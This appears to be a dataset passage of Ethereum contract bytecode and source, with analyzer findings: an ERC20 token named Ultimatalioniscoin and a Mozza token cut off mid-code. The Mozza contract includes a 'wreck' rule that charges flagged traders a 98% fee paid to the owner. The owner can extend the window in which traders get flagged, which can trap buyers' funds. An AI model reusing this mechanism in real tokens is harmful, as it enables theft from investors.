5180910390a16001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061271080612616018a028115156116f057fe5b049850600a54600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515611817576001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415156117cc576001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a54600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189e565b6001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b33601560008d815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555088601560008d8152602001908152602001600020600101819055505050505050505050505050565b600080611926611bf2565b601560008581526020019081526020016000206040805190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815250509050806020015181600001519250925050915091565b60085481565b60065481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600a54600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515611a455760008091509150611b00565b6000600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611a995760018091509150611b00565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611af8576001600091509150611b00565b600080915091505b915091565b600681565b60075481565b600080600654141515611b2257600080fd5b600a600081548092919060010191905055506000600881905550611b44610c81565b611b4e6001611b8c565b3073ffffffffffffffffffffffffffffffffffffffff1631600b8190555050565b6000600754421015611b845760019050611b89565b600090505b90565b60006003600654600381101515611b9f57fe5b015490508115611bc957600081600381101515611bb857fe5b015460075401600781905550611bca565b5b806006819055505050565b6000600654600381101515611be657fe5b01544201600781905550565b6040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815250905600a165627a7a72305820a2277a29e5c340619d3634b5902aba78ef7ef241fe48d6d66f2b07671f782fb90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,102 |
0xe4e55be3a8d9db6c8f33f5834eca7c446a494116
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Ultimatalioniscoin' token contract
//
// Symbol : ULC
// Name : Ultimatalioniscoin
// Total supply: 666 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract ULC is BurnableToken {
string public constant name = "Ultimatalioniscoin";
string public constant symbol = "ULC";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 666000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280601281526020017f556c74696d6174616c696f6e6973636f696e000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a649b10b184000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f554c43000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea264697066735822122059a662db1541203f676b66f2e553e64cc8b133dcd4417cb69ca8d60eda099efd64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,103 |
0x71d807fe98c765c466cbc46ff56db44caaed488a
|
/**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
// SPDX-License-Identifier: Unlicensed
/**
*
* Mozza is a Chedda inspired token that gives holders access to exclusive community experiences.
*
* https://t.me/MozzaERC
*
* Buy / sell tax: 10%
*
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Auth is Context {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract deployer
*/
modifier onlyDeployer() {
require(isOwner(_msgSender()), "!D"); _;
}
/**
* Function modifier to require caller to be owner
*/
modifier onlyOwner() {
require(authorizations[_msgSender()], "!OWNER"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr, bool allow) public onlyDeployer {
authorizations[adr] = allow;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized
*/
function transferOwnership(address payable adr) public onlyDeployer {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Mozza is Context, IERC20, Auth {
using SafeMath for uint256;
string private constant _name = "Mozzarella | https://t.me/MozzaERC";
string private constant _symbol = "MOZZA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * (10**_decimals); // 1T Supply
uint256 public swapLimit;
uint256 public maxSwapLimit = _tTotal / 1;
bool private swapEnabled = true;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _launchBlock;
uint256 private _protectionBlocks;
uint256 private _buyLPFee = 5;
uint256 private _buyMarketingFee = 5;
uint256 private _buyReflectionFee = 0;
uint256 private _sellLPFee = 5;
uint256 private _sellMarketingFee = 5;
uint256 private _sellReflectionFee = 0;
struct FeeBreakdown {
uint256 tTransferAmount;
uint256 tLP;
uint256 tMarketing;
uint256 tReflection;
}
struct Fee {
uint256 buyMarketingFee;
uint256 buyReflectionFee;
uint256 buyLPFee;
uint256 sellMarketingFee;
uint256 sellReflectionFee;
uint256 sellLPFee;
}
mapping(address => bool) private wreck;
address payable private _marketingAddress;
address payable private _LPAddress;
address payable constant private _burnAddress = payable(0x000000000000000000000000000000000000dEaD);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxBuyTxAmount = _tTotal;
uint256 private _maxSellTxAmount = _tTotal;
bool private tradingOpen = false;
bool private inSwap = false;
bool private pairSwapped = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(uint256 perc) Auth(_msgSender()) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
address owner = _msgSender();
_marketingAddress = payable(owner);
_LPAddress = payable(owner);
swapLimit = _tTotal.div(100).mul(100 - perc);
authorize(_marketingAddress, true);
authorize(_LPAddress, true);
_rOwned[owner] = _rTotal.div(100).mul(perc);
_rOwned[address(this)] = _rTotal.sub(_rOwned[owner]);
_isExcludedFromFee[owner] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_LPAddress] = true;
emit Transfer(address(0), owner, _tTotal);
}
function name() override external pure returns (string memory) {return _name;}
function symbol() override external pure returns (string memory) {return _symbol;}
function decimals() override external pure returns (uint8) {return _decimals;}
function totalSupply() external pure override returns (uint256) {return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {return tokenFromReflection(_rOwned[account]);}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {return _allowances[owner][spender];}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function getFee() internal view returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = _buyMarketingFee;
currentFee.buyLPFee = _buyLPFee;
currentFee.buyReflectionFee = _buyReflectionFee;
currentFee.sellMarketingFee = _sellMarketingFee;
currentFee.sellLPFee = _sellLPFee;
currentFee.sellReflectionFee = _sellReflectionFee;
return currentFee;
}
function removeAllFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = 0;
currentFee.buyLPFee = 0;
currentFee.buyReflectionFee = 0;
currentFee.sellMarketingFee = 0;
currentFee.sellLPFee = 0;
currentFee.sellReflectionFee = 0;
return currentFee;
}
function setWreckFee() internal pure returns (Fee memory) {
Fee memory currentFee;
currentFee.buyMarketingFee = 98;
currentFee.buyLPFee = 1;
currentFee.buyReflectionFee = 0;
currentFee.sellMarketingFee = 98;
currentFee.sellLPFee = 1;
currentFee.sellReflectionFee = 0;
return currentFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
Fee memory currentFee = getFee();
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxBuyTxAmount, "Max Buy Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) {
wreck[to] = true;
}
} else if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from]) { //sells, transfers (except for buys)
require(amount <= _maxSellTxAmount, "Max Sell Limit");
if (block.number <= _launchBlock.add(_protectionBlocks) || !tradingOpen) {
wreck[from] = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapLimit && swapEnabled) {
if (contractTokenBalance >= swapLimit + maxSwapLimit) {
convertTokensForFee(maxSwapLimit);
} else {
convertTokensForFee(contractTokenBalance.sub(swapLimit));
}
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
distributeFee(address(this).balance);
}
} else {
takeFee = false;
}
if (wreck[from] || wreck[to]) {
currentFee = setWreckFee();
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee, currentFee);
}
function convertTokensForFee(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function distributeFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(2));
_LPAddress.transfer(amount.div(2));
}
function openTrading(uint256 protectionBlocks) external onlyOwner {
_launchBlock = block.number;
_protectionBlocks = protectionBlocks;
tradingOpen = true;
}
function updateProtection(uint256 protectionBlocks) external onlyOwner {
_protectionBlocks = protectionBlocks;
}
function triggerSwap(uint256 perc) external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
convertTokensForFee(contractBalance.mul(perc).div(100));
swapLimit = contractBalance.mul(100-perc).div(100);
}
function manuallyCollectFee(uint256 amount) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
distributeFee(amount > 0 ? amount : contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, Fee memory currentFee) private {
if (!takeFee) currentFee = removeAllFee();
if (sender == uniswapV2Pair){
_transferStandardBuy(sender, recipient, amount, currentFee);
}
else {
_transferStandardSell(sender, recipient, amount, currentFee);
}
}
function _transferStandardBuy(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tLP, uint256 tMarketing) = _getValuesBuy(tAmount, currentFee);
